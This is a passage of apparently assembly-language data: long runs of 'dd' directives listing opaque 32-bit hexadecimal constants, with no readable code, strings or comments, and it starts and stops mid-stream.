6108CD08h, 5228FF3Ch dd 776F2D65h, 2D51FA82h, 1C0F1114h, 94F61045h, 0B20C8426h dd 0B66351D4h, 0CEC40804h, 202DDA24h, 0C19101Dh, 0B45EC814h dd 0BC5CF1E2h, 52B3FB67h, 87F78BCh, 0C7207548h, 63736962h dd 66113F68h, 4D3094F7h, 1E1EA836h, 1CAB6777h, 756BD212h dd 0D974084Fh, 2A216E28h, 9A418CFAh, 8463AC67h, 0D411D80Ch dd 30A17972h, 10BC456Bh, 40910832h, 20978C68h, 53DBFB4Ah dd 6834387Ah, 0A4381F12h, 0F79FA894h, 0C6D7904Dh, 2E626542h dd 73480761h, 6D082A75h, 6D149B28h, 0A76BC238h, 0A0FC7048h dd 6F6A8872h, 0C5C86848h, 1824696Dh, 8BD4BC11h, 44938A66h dd 2EBA406Dh, 6246CF7Bh, 7110B81Ch, 0CC7A2877h, 0BE732CA1h dd 22F57536h, 30321AFCh, 93A4E602h, 84EF280Ch, 6B322308h dd 0CB383908h, 961925AEh, 0DAC6226Dh, 829A0819h, 56E10820h dd 687D0309h, 0C9CFAF9h, 984A6C94h, 0BC75363Dh, 0C675770h dd 90339269h, 0CD905249h, 8BF0277h, 3ABFA051h, 4D753FC8h dd 8569C6Bh, 4972B044h, 6E134674h, 1E387675h, 285E7651h dd 0EF743729h, 11963209h, 0A28D6C68h, 0BC117875h, 6484F7C0h dd 276F3064h, 20AADCFEh, 6C7362CAh, 3453F1A2h, 0BD332308h dd 0BD3123C7h, 809A4842h, 38373635h, 0C4BFF39h, 43388770h dd 23DC0890h, 8C704638h, 0DB2009DCh, 500EAC19h, 13647770h dd 804C429h, 0AE8D2864h, 0FC9AAE54h, 3C410C46h, 696DB2EFh dd 586232E8h, 241C6326h, 2D164FF4h, 66EC1814h, 32321FDh dd 65AD67DFh, 67505AE5h, 0F883E06Ch, 35686824h, 647532B1h dd 0C8516F39h, 99A146D6h, 677513C0h, 3EBF0E43h, 0DBD51CC8h dd 0E1E86638h, 9108C83Dh, 3CB6DE73h, 0C4EE7FEh, 9CD6EC51h dd 0D023901Ch, 5FF42C9Ah, 52498010h, 36762043h, 31322E1Dh dd 0AF104B92h, 0AC643EBEh, 0BD201A4Dh, 422D6D1Eh, 202979DCh dd 117E30C4h, 0CEFD3731h, 402A0A1Fh, 0ACC46992h, 34032D0Fh dd 6277202h, 0F3E3E4Fh, 94614620h, 0EAA7412Fh, 680FF8A9h dd 2C5E6333h, 10A308F6h, 3CF83AFBh, 3E386425h, 0CA34562Eh dd 0F5BB2453h, 35E36698h, 5C63FED2h, 583350DBh, 8A315A74h dd 702C9933h, 73637A8Ah, 41075C5Fh, 57462F56h, 9F966BF5h dd 0F661FF83h, 97649842h, 0A140236Ch, 944B1130h, 6D424CC4h dd 240946F2h, 2340C662h, 84B79042h, 27655A5Dh, 0DF25077Bh dd 229B92FBh, 0CA10E73h, 1406A25Ch, 0B7380FD0h, 124E105Fh dd 0A4051A9Fh, 3E449E33h, 49184E3Ch, 0D194B43h, 53550D0Ah dd 0F1135245h, 3A059430h, 50386111h, 1BC65341h, 4F4D5104h dd 0F514544h, 3A2F289Ch, 54AB4F48h, 0C4682111h, 3A539255h dd 158E2D8Bh, 87A8DD3Ah, 37507920h, 0BD9479E4h, 91C67094h dd 4E2AA240h, 834CB044h, 0AE4848E6h, 6662F478h, 0A228A079h dd 29062166h, 4F4E1459h, 8E43B654h, 23483A14h, 66144121h dd 90269134h, 0A4544395h, 541E60C9h, 908A59CBh, 5074977Ah dd 84419C6Bh, 0A95460B7h, 0EDCC0888h, 2B2C0FB1h, 80A14F50h dd 18277E79h, 871252CFh, 0C3F2DE50h, 0D9E56B3Fh, 1B2649C4h dd 59A15124h, 746822A6h, 0A1CB7283h, 284A6413h, 6C9D6DA3h dd 69A54E70h, 0DA33F329h, 934C7327h, 6F4AE36Ch, 263C1068h dd 0BA6C10B2h, 90B0BE23h, 0C9248F6Bh, 0E0028F92h, 58653A77h dd 0EE931C20h, 6D3E731Ah, 490A2616h, 2D3208BAh, 0FC912C36h dd 0A124D7BDh, 1C676F4Eh, 0FE402743h, 3B639666h, 0C6282EABh dd 7071E453h, 624644FBh, 0EF462851h, 0C847E7E1h, 663899E4h dd 2E2778E9h, 7C21A1DFh, 35D47313h, 0F27545D8h, 276E2664h dd 96B2341Ah, 26FB6816h, 0CD2443C5h, 20142D46h, 882B7A53h dd 9AD44E59h, 0BE2809BDh, 0D06AD3BEh, 0FA733D9Bh, 103264D3h dd 0F2E3E36Eh, 4E28B42Eh, 753C054Ch, 0F5718D70h, 9680263Eh dd 7E795435h, 1671FA71h, 8DF6C471h, 0B4C6B01Dh, 52308EA0h dd 0B6591C50h, 5AE0648Ah, 5C95015h, 302A4409h, 479A5046h dd 4129F847h, 44762320h, 655210D2h, 0E2FA5C6Dh, 6E2FB11Fh dd 69E657EBh, 595E2C2Eh, 25404F2Eh, 0CC7C884Ch, 20B976D1h dd 0CA327435h, 3729D390h, 7C8E0EAEh, 5584408Dh, 84DA4C52h dd 4972EE40h, 0BD9E9D63h, 4B9861AAh, 1C231173h, 2DCE6CF3h dd 366FCDEFh, 0A544725h, 3B646D63h, 28227359h, 45CA18D0h dd 3F514887h, 0B191D458h, 2ACC9E7Fh, 0A057915Ah, 0E568BB45h dd 35BE5252h, 237D9D82h, 2429A46Ch, 6455FA2Dh, 63C57463h dd 85E1C561h, 493F30EBh, 12B0766Eh, 1F49694Ah, 0D661AA72h dd 8F4B51A6h, 0EF899306h, 36BB76F1h, 300D90D1h, 407DD014h dd 6877BC18h, 6827D368h, 663FA3C4h, 6D414666h, 40BB62E5h dd 0C5402EABh, 732A3C41h, 18CEE2FBh, 158B79A6h, 90B43A85h dd 0A4AD9162h, 9ED1AC2Eh dd 57347CB4h, 0A1A355A7h, 802466E5h, 4434342Ah, 4E7C9B0h dd 2D7985A3h, 285AA17Dh, 0A37523F9h, 49C51AA6h, 6455C494h dd 30BCF219h, 0D1A6FCB0h, 89200AB1h, 637C6090h, 438D1CD0h dd 0B5F97EFBh, 0A86B3044h, 30903890h, 52A753B8h, 37E8F8A3h dd 51703C49h, 0A762E547h, 3808694Ah, 0B30DA418h, 0DA25F162h dd 296C78D5h, 2E46854Ch, 13B1C069h, 0CB4C4F2Eh, 9136142Ch dd 2141D1E4h, 48A62C63h, 657371E8h, 50E478A5h, 73C24897h dd 201C8867h, 0F415C5Eh, 0F6A41FD0h, 63798234h, 134A446Ch dd 0CE524150h, 6F4D86ECh, 7ACD96ECh, 2823287Bh, 4EB47CB6h dd 77FD3265h, 29571D7Ah, 0D11C43C1h, 901D4245h, 0A424D144h dd 2442CDB2h, 494F4A81h, 0DA90684Eh, 0A3947B18h, 49AA5A4h dd 0CD671561h, 0BC012833h, 0DEA4DA66h, 3C68FCCFh, 112C095Ah dd 5C662522h, 2C8E2D4Eh, 75A4A794h, 9F6989D2h, 0D93CE869h dd 0E20B4954h, 50B5EBE3h, 28CA6D70h, 2E295071h, 70E6D8BBh dd 0A564B956h, 77CBCB8Eh, 48916764h, 9674AF49h, 34905C8Eh dd 0A1A41842h, 2E79E87Ch, 36848BCh, 64383A93h, 85704A75h dd 0CC815672h, 44774976h, 10FF8C95h, 81AF9062h, 8BC666A7h dd 0E2E8A8D4h, 7CF5611Ah, 23C56B0Dh, 2E0FB125h, 2794484Ah dd 630A2BA9h, 483DC16Eh, 3C1AFD2Ah, 0A02C4429h, 0B1168462h dd 0EBD6A4B8h, 7F7EF46Ah, 17B238C8h, 52715963h, 659C1C3Eh dd 0D13D11C8h, 2E9E1250h, 6AB69C73h, 6EB6871Fh, 840C74DFh dd 43B46EF7h, 2C538A3Ch, 0EE49D7A9h, 3AB0AA33h, 0C9C859B8h dd 5217D46Dh, 1DF3E434h, 30C07D5Ah, 704B6D0Eh, 6D27053Dh dd 0A260D47Ah, 9BA967B2h, 0A0B11642h, 48385B30h, 3843FAADh dd 0E21275D3h, 15292C3Ch, 6FB4995Ch, 907DCEB3h, 0ED7C4D1Ah dd 43293C0Ah, 6F7AB2BFh, 3A73DDF2h, 0DBEE61DAh, 0CB38A984h dd 0BA6FF507h, 3823DDD0h, 2549D0A3h, 0E88F29F8h, 6C79DFDFh dd 71B4DDE4h, 3091672Fh, 6B1C7732h, 3848D0B7h, 0A6B235EBh dd 18D13D31h, 0BEEDC4E6h, 68456B2Fh, 78E85626h, 3EAF9F5Ch dd 0E4E95156h, 4D400EE9h, 3BA6A5A2h, 58459B69h, 0CB368AB6h dd 9B676308h, 4FCB1C48h, 7044E89Ch, 50574354h, 37E77D38h dd 0A7145833h, 0AD9D734Eh, 1CB314AFh, 386163D1h, 0E36FCD14h dd 4AB90D04h, 778630D1h, 25ACF669h, 28C925DFh, 0B82F516Dh dd 5D3C5B32h, 0D4D786AFh, 2A107361h, 1101B43h, 54434101h dd 932D4F49h, 6DFCBC7Ah, 35D9A4C1h, 0BD778276h, 0C83C2150h dd 0A58576A8h, 0FC1AAFE9h, 76226BD2h, 0CA8C7272h, 48F32D2Dh dd 8835DAF4h, 0E2CD3848h, 87538718h, 31AB97A6h, 58DC6144h dd 0F566696Fh, 81917216h, 22F01EB5h, 81458275h, 268A4525h dd 5CA0A15Ch, 0E3162C4Bh, 4550E50Bh, 342E94E9h, 584252AEh dd 5C635C2Fh, 6472D71Eh, 76C3E674h, 4BA19955h, 25938B94h dd 4247332Fh, 6E9305Dh, 73944928h, 0C6E92D47h, 16929535h dd 4879172h, 2172C227h, 65796214h, 613CAA3Dh, 69A8CC4Eh dd 642E02A0h, 70AD6C71h, 963E6425h, 0D36625D9h, 54CF2494h dd 0E1FCD185h, 47226C41h, 0A674CD4Dh, 4A7896F7h, 1962525Bh dd 0B0EC08C3h, 3A9379F6h, 0F68C6C69h, 76CCBB70h, 2A953886h dd 70E5C990h, 587E16BCh, 85B7E274h, 0A0105850h, 28917A69h dd 0C5448D32h, 1B484849h, 8858676Eh, 0E04DC92Fh, 0FB676124h dd 0B2672D3Bh, 0DE758133h, 736647D6h, 2A85796Ch, 0DAB84334h dd 43E50825h, 0B1E8B248h, 34476990h, 53164ECCh, 0D46D708Ah dd 0B0D35C5Ch, 0C4996B80h, 3909E02Fh, 376EFD78h, 546C6A5Ah dd 6521EC85h, 699AFCA9h, 69427C1Bh, 8AF1D23Ah, 4909FE2Ah dd 12504D43h, 959679CFh, 535BA776h, 53D476F0h, 8C5ED8BBh dd 3475AD38h, 2E817311h, 7215D9EFh, 0C22D9F21h, 9749551h dd 2FED6374h, 0B4381C52h, 70B5D5DCh, 7923B9Dh, 0B3FECA66h dd 6D222F4Eh, 70535568h, 0D46656CDh, 79C9B41Bh, 0D43ED089h dd 58C9724Fh, 6B684E6Fh, 7A3680Dh, 86748514h, 0EC9E174Dh dd 0BE526D65h, 65236E69h, 4B048B5Ah, 34186086h, 0F98A7224h dd 2D0A289Ah, 0A7CB4294h, 86AA0AF0h, 0E862D20h, 0B3802EB7h dd 6A62A005h, 4AC98116h, 0BC6C5BF2h, 0EE2E07E7h, 0C5D3650Bh dd 482BC22h, 640FB41Ah, 945E04D4h, 6508340Eh, 4968B919h dd 0E41AD370h, 42646B21h, 17933809h, 0E9B8A118h, 6DE06276h dd 1C291970h, 787E1CD0h, 5A04A25Fh, 29108631h, 0AF086D70h dd 196EF29Bh, 96301567h, 2C2D62F5h, 6A2E10D0h, 30310A54h dd 67644308h, 4450154Eh, 20AD2A0h, 1BCB0C74h, 9F79D370h dd 4CA6F22Fh, 9D79A7EDh, 4D2C4803h, 9050670h, 10A704A5h dd 927369E0h, 1B2849E4h, 5689292Bh, 16F53C84h, 0BDF89E18h dd 0CD1314Dh, 0EC9ABF7Bh, 0AA7E0C28h, 6C048140h, 0A541357Eh dd 89AC2F8h, 76F49114h, 9CB64892h, 567A104Dh, 4ECDD39h dd 99051728h, 5D58524Bh, 64F0604Eh, 68BA07FDh, 6104D1BCh dd 14D96219h, 5F487072h, 304D9452h, 662AF673h, 89BD1010h dd 0A98451A2h, 8A04A0CCh, 6A0C04E4h, 0B2622D5Dh, 48B10C0Eh dd 220C90B1h, 102EE96Dh, 72220C45h, 4977E181h, 79C808A8h dd 34B504A3h, 5552AA9Dh, 22222E29h, 2E2B618Dh, 615E3A13h dd 6BD091A5h, 85094FE7h, 70EFACA7h, 0A5E168E4h, 0CA84C608h dd 25886188h, 24BB06ECh, 0A007C7A7h, 0F66B76B9h, 0A72EF277h dd 2ED3261Ch, 0B06F5237h, 43837D3Fh, 55842C0Fh, 0D22AED73h dd 204784DEh, 294AA7D3h, 53E46C64h, 9911B3C4h, 203AE441h dd 8CD04142h, 95701990h, 0A79CF8C6h, 9E645125h, 9731461h dd 0BA6F5A67h, 0B25DFA88h, 876A341Eh, 726AC820h, 4C8DA746h dd 5472C424h, 0E6AA49FFh, 33690460h, 4D42B232h, 104D681Ah dd 242497EEh, 0D6B3C4Fh, 4A285C79h, 582FA5E9h, 4C2DE983h dd 343C0AB9h, 3057144Bh, 249163B6h, 4A5EE7B4h, 441FD2D9h dd 94F6DF55h, 0B7768447h, 7035863Ah, 92F37396h, 28AD2E3Ch dd 17A393E7h, 947969BDh, 0BF40844Ch, 78868C1Eh, 20A36D8Dh dd 215E734Bh, 388D5668h, 0FB18E72Fh, 215DA8BFh, 5C504A2Ch dd 28EE1C8Ah, 50243AF5h, 5050E172h, 10624F82h, 0F1D11645h dd 1E306DF4h, 0ADFA422Dh, 0F942401Bh, 0B97524B4h, 7C0AADDCh dd 0D879DD3h, 0B86D7F3Bh, 552300Bh, 0E31C34B4h, 5C0D45ECh dd 8BA34303h, 0F2761C32h, 685B6565h, 2914DA2Ch, 367AF3A5h dd 0DAFB873Ch, 0FDA3781Fh, 91303452h, 88E47200h, 1028208Bh dd 40D20472h, 6314488Ah, 0E17F046Dh, 0E854527Ah, 610DAE8h dd 0B7197610h, 11589C93h, 2B044165h, 0D267E0CCh, 1658840Dh dd 57725704h, 0CCC834C4h, 0CA47048h, 4C94889Dh, 46E648Ah dd 0E52E731Ch, 0B4F66F45h, 72CAF858h, 8CA2F04h, 32274851h dd 22187B54h, 471500Ch, 50FAD075h, 0D3932695h, 70667780h dd 58496A29h, 12A4586Eh, 4B47F8AFh, 0A2649388h, 72ACFEA3h dd 2E66E15Eh, 5758D002h, 0B092664Ch, 0C7AB67C1h, 4FD9144Ah dd 203F0F19h, 564952D4h, 47534D13h, 89496F2h, 0E3147829h dd 0AB6E6601h, 0E12CF556h, 0CD3B7601h, 18BCE2D3h, 2BB47D9Eh dd 0A1C78D13h, 0D2CC5609h, 84175F0Eh, 824EABBh, 68E11CB5h dd 3AFA9AD2h, 384834FFh, 0F8F94344h, 0D24E7745h, 515A121Ch dd 7090036Fh, 9B8C75Eh, 382FA6C9h, 64B9D2B7h, 69A0E4D3h dd 51A16891h, 3A971FA0h dd 0CE0C0942h, 0E1188660h, 4C163F4Dh, 46088A21h, 23EA960Ch dd 0F69A2538h, 0C887B814h, 0E429CEBFh, 0AA9B019h, 18639524h dd 5F2D0AB4h, 2B6D1274h, 0AD3E6AB8h, 95A044E9h, 32B536EEh dd 6D8E541Ch, 62B40A02h, 8F6D6EA6h, 98B91219h, 0CF222ECDh dd 0F182441h, 80CB4F14h, 0F8D1854Ah, 1B0DEDA2h, 42747B3Ah dd 0ABB9D240h, 4B35E697h, 0A75C755Bh, 0AD5988E9h, 14CE6724h dd 488FD62Ch, 0AD67BE75h, 71F14A12h, 5F62C425h, 0FC142465h dd 2C7DE464h, 57B91C04h, 0F76E6112h, 3C39415Ah, 64722D3Fh dd 840A92EBh, 0AD2A7003h, 0ADA8686Ch, 6C2B2E6Eh, 0E4697679h dd 58CD9570h, 59A768A1h, 0E5C3660h, 75C45EDDh, 25AB626Dh dd 0F530E903h, 52EA36C4h, 0B577E887h, 42331B51h, 4B9B52Ch dd 546854F1h, 0BD4D94D8h, 78720DC2h, 21AACF42h, 0EB629DF5h dd 5031B15Dh, 92ECD5EFh, 300F722Dh, 6D283AF9h, 0F66C2AFEh dd 4E2F405Ch, 0AC2F9B09h, 49290F37h, 0E87EB32Ch, 48B59042h dd 0C74A8F75h, 704FE3BEh, 1E80626Ah, 9960F14Bh, 2E763448h dd 0E128E509h, 0D43B42DFh, 58212B6Dh, 293F1757h, 0E095A1E1h dd 5A68C849h, 6D1431C0h, 1454A575h, 165BB64Ch, 0E492E372h dd 0D0A71A13h, 123C74A4h, 53F3B6FEh, 6E551574h, 9E225F1Ah dd 110ABA53h, 18926234h, 0B4D8BC64h, 0F7A523E3h, 403DA400h dd 0EDA49B38h, 9BE2D343h, 6F89A091h, 6ABD1043h, 0A43C9169h dd 9E5B656Ah, 46647098h, 71B62019h, 0D6B0E34Ah, 64AEEC34h dd 4B60A7B3h, 20F47CB3h, 49555180h, 294A545Ch, 0D621672h dd 6834BC0Ah, 7A359044h, 1B503412h, 18A1358Dh, 8AF56C12h dd 0C141100Bh, 28D09F2Fh, 30E5DF53h, 0C4953AEDh, 2E792FE0h dd 555D9D64h, 0DE6D3F04h, 2C46548Eh, 6ABA8D5Eh, 0CE2E842Dh dd 45D99698h, 9E105FFFh, 0A43CD01Ch, 0E37353AFh, 0ACE8D3CBh dd 98516225h, 78530872h, 0EDB9674Bh, 0F6FF1443h, 8C71B670h dd 2C288370h, 0F2F82E1Fh, 0CF747A62h, 662C074Bh, 0F9987E79h dd 47E73353h, 0D3C8571Bh, 5276F10Ah, 2E4B212Ah, 2BB434E6h dd 40ECD2A6h, 0DA3E22B9h, 0CF0ACB3Ch, 79F2240Ah, 20225A0Fh dd 0F6F06463h, 368B735Fh, 0AF07D5Fh, 92ED56BCh, 52E244E8h dd 0FB339C5Dh, 5D2E6152h, 0C7977CBCh, 61D3A5BEh, 527C48C8h dd 0ABE4AB61h, 902EA87Dh, 6F6270F4h, 48231C94h, 20131023h dd 4DA732B5h, 6C34E4EEh, 8215AA75h, 1654F463h, 50521413h dd 0B7A44FEFh, 482CA52Eh, 4A2CE81Ch, 7250A30Fh, 2D4D5154h dd 0A241122Ah, 0A87C423Fh, 534E2344h, 7C39425Bh, 955972F2h dd 0ABB15D3Fh, 74D63C46h, 0EA2C89B1h, 49E14754h, 747E3A50h dd 12FBADF6h, 0EC69616Eh, 64DC493Bh, 3AF2904Dh, 93763D3Ch dd 6526E244h, 120B797Eh, 6638B95Ch, 57A4785Eh, 4A9F3A3Ch dd 0EBA53399h, 2E45E5F9h, 2C33346Dh, 4AD8EDF4h, 3B6FFDB1h dd 0AE38D007h, 0D0D0DE4Eh, 17E8A53Ch, 88C1D2FBh, 22687571h dd 1469692Dh, 0E0646A52h, 6A6E807Dh, 0DD92FFh, 0AB04D43Eh dd 3CD0D46Fh, 0B5D4B24Ah, 95B675AAh, 1956E1ECh, 0E1607928h dd 0F7F34850h, 98474FCEh, 0DB454D0Eh, 3BCA78AEh, 7E271A7Fh dd 668B2D70h, 0E0C8395Ch, 0D98476E9h, 6B9AA272h, 0A832624Ah dd 11108D63h, 0A6702022h, 24CEB508h, 6E2DE091h, 9B148C00h dd 2308236Ch, 0DD913716h, 9E8A6956h, 665935A8h, 0D4345BF0h dd 0C64FCD4h, 1470E70Ah, 67620CE8h, 2CA8D963h, 0E84F4BE3h dd 61E060C9h, 24139F62h, 55E12071h, 2D3CDE21h, 75D8924Ch dd 0BA72415h, 30A444B0h, 742A453Ch, 89C3E79h, 9A6B2CE8h dd 0B926D050h, 7320CDB4h, 44B3D2B5h, 0C3C46427h, 4A13B8E7h dd 0B07E8D9h, 0D66B3FDDh, 0E4861118h, 3A1121F1h, 0BCA86C8Dh dd 7521C5CDh, 94041270h, 9084E860h, 9789D2ECh, 0B70399Ah dd 1936C451h, 276AFD7Ch, 969C6D6h, 743E3CD1h, 0AC419D6h dd 34210C54h, 29940967h, 619BC6E8h, 220B0D41h, 71C94FD4h dd 4A0B8407h, 0ADB54E5Dh, 739CA418h, 0DBF73851h, 0D2B0B3C5h dd 1E41C4DBh, 212D6C54h, 10A53209h, 4BA56D4Bh, 0E45E73FAh dd 13754C6Eh, 0B319D271h, 0A8964AC2h, 5B829E08h, 0C03D715Fh dd 6984387Dh, 40D91773h, 62630C11h, 86924A46h, 17CAB726h dd 0C8111112h, 2B0B4972h, 1919349Dh, 0DC25081Dh, 397E0C19h dd 6F53C1C8h, 2025A064h, 0B0DFB156h, 0CA98BC70h, 2114A190h dd 30D32526h, 0B743494Ch, 1412B432h, 8AA74913h, 68B44A09h dd 8B086914h, 0B8652D09h, 0BACB74A1h, 0A1586574h, 7564AF1Ch dd 75290C86h, 0F8241764h, 5B4B16C8h, 970D22BCh, 0A5AC6047h dd 20D9CE38h, 1B4683A7h, 7F79EDF3h, 1293F02Dh, 42DCCA6Ch dd 2A7D4250h, 2D950C57h, 8A3A7BDCh, 75209A30h, 8056313Ah dd 0CE2CF1EBh, 1911500Dh, 0B82D7F19h, 44551885h, 65307450h dd 2E483994h, 0F0B44099h, 15256411h, 0EBB41C14h, 55211876h dd 4F1D0C54h, 29B0646Eh, 0F8296F50h, 1853399Bh, 0A42C109Ch dd 2C2D1C24h, 250E290Dh, 544C436Ah, 0E1E344E0h, 6F215953h dd 9745B036h, 116E1445h, 16BDE0A6h, 2DCC8DF4h, 1859549Bh dd 0E4295E80h, 9E7429A3h, 73086668h, 7372C8E7h, 54946BBCh dd 88DE3DD7h, 480C5968h, 19104D1Ch, 182B2A10h, 0CDF0354Ah dd 0C181D96h, 4BFD6271h, 75216414h, 846ACADh, 37D3124Ch dd 0C80E0A14h, 0F34249CAh, 0F97EF20Bh, 84141BCFh, 0F296C7B9h dd 3B6541F8h, 0F0501B64h, 7599DEF4h, 2C436453h, 0D4824E69h dd 0CBF2EDF6h, 9F80D836h, 0EE2435A5h, 828AD0Ah, 0C43B3325h dd 13B413FCh, 8BBD371Ch, 12CF01DCh, 25C23587h, 0D8048864h dd 6CAB6B65h, 5CD643CCh, 0A15B38F7h, 0C46BFE81h, 6F68FA03h dd 417A6972h, 9A3E4221h, 963443A0h, 996B84DDh, 905E38F6h dd 302DE431h, 9A758A3Ah, 0DAD4FB80h, 8979C36h, 43705986h dd 54412B48h, 0FF506928h, 0BA8454E5h, 14E80E64h, 3DD0D291h dd 4BBAD490h, 38FD67F3h, 5001F148h, 146F463Dh, 513DD413h dd 56B3200Dh, 2F5352C1h, 23678CC4h, 0D9CF110Ah, 0CC4A2319h dd 2E027DE5h, 0A094AC94h, 0C41EBF8h, 8F8503Eh, 32A93338h dd 18E5A774h, 0D204FB2Dh, 995B654Bh, 7B47CB7h, 2935336Fh dd 0DB27F471h, 5E08A0D0h, 4FCDA63Ah, 0B4FC48D4h, 7DE204A9h dd 35771E78h, 69BF714Bh, 341994ECh, 405270C1h, 0E73020C8h dd 99335D1h, 0E454FC31h, 4F5063FEh, 0DB247FAh, 218367BBh dd 12200921h, 3918243Ah, 1C127F84h, 8D6A07A1h, 7BC3DACBh dd 705812FEh, 0E4418971h, 0B838D388h, 51A5DDCDh, 7D56A541h dd 76F9366Dh, 25492AE6h, 642803F3h, 444C5113h, 10408F8Eh dd 165CDF46h, 6CFFC348h, 0A11024BDh, 1945614Fh, 45218D11h dd 0AB785678h, 0FF733047h, 3F6E45E4h, 467F4176h, 2B914672h dd 7AB85343h, 0D662643Ch, 48530B72h, 44B95443h, 6641F04Eh dd 1221796Bh, 62520B64h, 0C6B91297h, 4B2D8674h, 665C457h dd 24636EBFh, 0DD884D86h, 17825732h, 9D419118h, 2D6964DCh dd 0D35414E8h, 15ADF152h, 33BB60h, 8347F649h, 35FFCDC1h dd 11515144h, 47F15425h, 3C5348B8h, 0D7F97368h, 2C308ABCh dd 46163344h, 0DF5297D2h, 0E709209Ah, 3E88A452h, 20A7415Fh dd 2D2B31EDh, 93142519h, 0C2D457BEh, 0B4D66C13h, 264C9721h dd 4975422Fh, 0D92A53CEh, 5B31A4ACh, 10C82748h, 5675DCCCh dd 0C3450C6Dh, 0E714181Dh dd 938C0C56h, 444F2954h, 0F0419A44h, 0D9925812h, 51535819h dd 44756496h, 620FC3E2h, 4A146F43h, 5D1497A5h, 0C3A3102Dh dd 952AA00Ch, 28A02247h, 0A4F1494Ah, 0CA45B008h, 0C9106FA2h dd 327314E1h, 4E219A42h, 69463489h, 0D424AE1Fh, 6F4D3C60h dd 0C028DE7Ah, 2E342F61h, 285E2030h, 694C8A59h, 0AA297624h dd 0B432FF48h, 14864C1Eh, 4E80A89Dh, 0AC5B2848h, 0F4555DF0h dd 1441526Ch, 0EAE9F1D3h, 141E139Ah, 19242487h, 489F24E8h dd 69CCD3BFh, 520850C0h, 34901473h, 3C911443h, 0EA3F478Ah dd 1CCA274Ch, 6A783D85h, 0DCF35F1Ch, 0FF37D072h, 49D863CAh dd 205B9D6Bh, 5CC4EC5Ah, 0FC5C6971h, 0DC7962E2h, 2966B4E2h dd 741E1410h, 112C6410h, 8C790C42h, 14577EFFh, 0B3D7E3BCh dd 6E4179A8h, 0A27738BDh, 0A7D45988h, 76F29C1Bh, 0C8C7252h dd 2020EE95h, 0BF836F74h, 0AF1C7ACh, 5F734408h, 8E6CF660h dd 0C1111082h, 169C5D5Fh, 0C3FF530Ch, 689CE785h, 0AB3A8528h dd 7A1D86Ch, 530584A6h, 93F14341h, 0AA705A20h, 4C1BA70Ch dd 0D92D9ADAh, 51102017h, 84083349h, 1D82E35Fh, 73494446h dd 204552EBh, 94D0FE2Ch, 0C0AE637Fh, 53EA21DEh, 290C49EFh dd 775440C6h, 5F327313h, 0D4369229h, 6A624F0Bh, 10137CBAh dd 5A40B2B4h, 0DA3FFFC7h, 1450122Dh, 2445BA24h, 28AF4249h dd 0F7725893h, 65145EA4h, 40B857D2h, 4DBBF884h, 465BA524h dd 776D14A4h, 10CA2FA2h, 99771443h, 64670B29h, 4759291Ch dd 294E89A4h, 0EA4433ACh, 0AD1F7456h, 7425FB66h, 0FFBF3A79h dd 8464C892h, 0AD13FB95h, 66D37446h, 15350834h, 0DC198CDDh dd 0F9A5150Dh, 1A52167Eh, 1A219A11h, 1275090Eh, 840F16C8h dd 4D433510h, 727A939Ch, 35E0254Ch, 0FA81D66Ah, 2EAD6B6Fh dd 629ABFDAh, 97FC30D0h, 13D1EDB8h, 0AE7EB9D1h, 0B4B2B550h dd 6400352Ah, 0A216166Ch, 0C57471F0h, 2441676Ch, 2B0F2D24h dd 0CBE9301Dh, 829E78A5h, 1BC3320Ch, 51213152h, 54797210h dd 224CC60Fh, 0E923084h, 81351285h, 0D1836366h, 63413422h dd 922F0E0Dh, 0A0ED7658h, 463378AAh, 9C67626Fh, 0CDCA52AEh dd 22140405h, 5F5540Ah, 245A4114h, 0D2A66C81h, 76743419h dd 0B4CA0311h, 73653169h, 3209E297h, 527D7E8Ch, 0E50E4028h dd 527AA844h, 0B523905Ch, 2573AC49h, 8274799Ch, 0B1D0089h dd 9B14106Fh, 248D16A4h, 530DA680h, 15504F00h, 5552A2CEh dd 0C4BAA4B2h, 30537BBBh, 8D37E35h, 9C6D16A0h, 0A7469F17h dd 0E297C964h, 2D1C1587h, 0A2C48D42h, 4C323BE1h, 9AAE8E50h dd 854573CEh, 5A707954h, 235E2175h, 227176A5h, 0F408A217h dd 2873949Dh, 6B368190h, 0CCBE28BFh, 4D899129h, 8476A6Fh dd 6225C4A2h, 5BC4DE7Bh, 294E223Bh, 21E81078h, 0D8C9BD6Ah dd 86C4E2Ah, 530B70E9h, 7F602F6Eh, 90CD74D7h, 4D251566h dd 6B12605Bh, 476C4A92h, 0DCED2DCCh, 0F06F4C1Ch, 0C2B69709h dd 0DC39414Fh, 6829DD2Fh, 4F7999CEh, 1A42843Ch, 707953E2h dd 2F23368h, 977270DCh, 0CE49931Ah, 93354714h, 1A2F0084h dd 381C4E27h, 0A825348Fh, 4B5C1824h, 0A302D57h, 0A857CB9Ch dd 795C4EF4h, 4765A747h, 6B76A541h, 43995980h, 474BB2E9h dd 0CF34A380h, 0E45CF236h, 6E835FFEh, 24A2D29h, 97BF6BF9h dd 0F5F76968h, 6F30A570h, 0A79CBC57h, 0EE636B8Bh, 7316B74Eh dd 90E660D6h, 6995AFF6h, 244A797Fh, 0D291FC93h, 0FCB81AC4h dd 0A5D63291h, 2CCB2AECh, 0FC461969h, 116889Dh, 4BACB558h dd 0AFC85040h, 465E1043h, 28AD22BCh, 339A5F92h, 4E2CF197h dd 7AD8005h, 8706D28h, 0CD4A03E4h, 0DD759614h, 8E22F47h dd 28AE6B1Ah, 60142AC2h, 0E0090566h, 190C1029h, 0F8096243h dd 48F00418h, 22DC91E4h, 0C4CC44D4h, 0B412BC89h, 0A448AC24h dd 90229C91h, 89788444h, 24641270h, 9154485Ch, 4444224Ch dd 2889303Ch, 14241C12h, 4910C48h, 2217FC10h, 0DCE844F4h dd 0CC12D489h, 0B848C424h, 0A422AC91h, 89909844h, 24801288h dd 916C4878h, 445C2264h, 44894C54h, 30243812h, 1C912448h dd 0C451422h, 16F822C2h, 0E048EC04h, 0CC22D891h, 89B8C044h dd 24A412ACh, 918C4898h, 44782284h, 5489606Ch, 44244C12h dd 34913C48h, 24442C22h, 1214891Ch, 1B112E0Ch, 22D115F4h dd 0D044DC09h, 12BC89C4h, 48A424B4h, 228C919Ch, 68744480h dd 50125889h, 3C484824h, 2C223491h, 89202844h, 2E0C1218h dd 14F81B11h, 0E40922C1h, 89D4DC44h, 24C012CCh, 91AC48B4h dd 449C22A4h, 80898894h, 70247812h, 58916448h, 44445022h dd 1230893Ch, 48202428h, 22109118h, 0F811E108h, 45E1BA13h dd 0D0092CE2h, 0C012C889h, 0B048B824h, 9C22A491h, 898C9444h dd 247C1284h, 0E46C4874h, 91584860h, 44482250h, 30893840h dd 20242812h, 10911848h, 11E10822h, 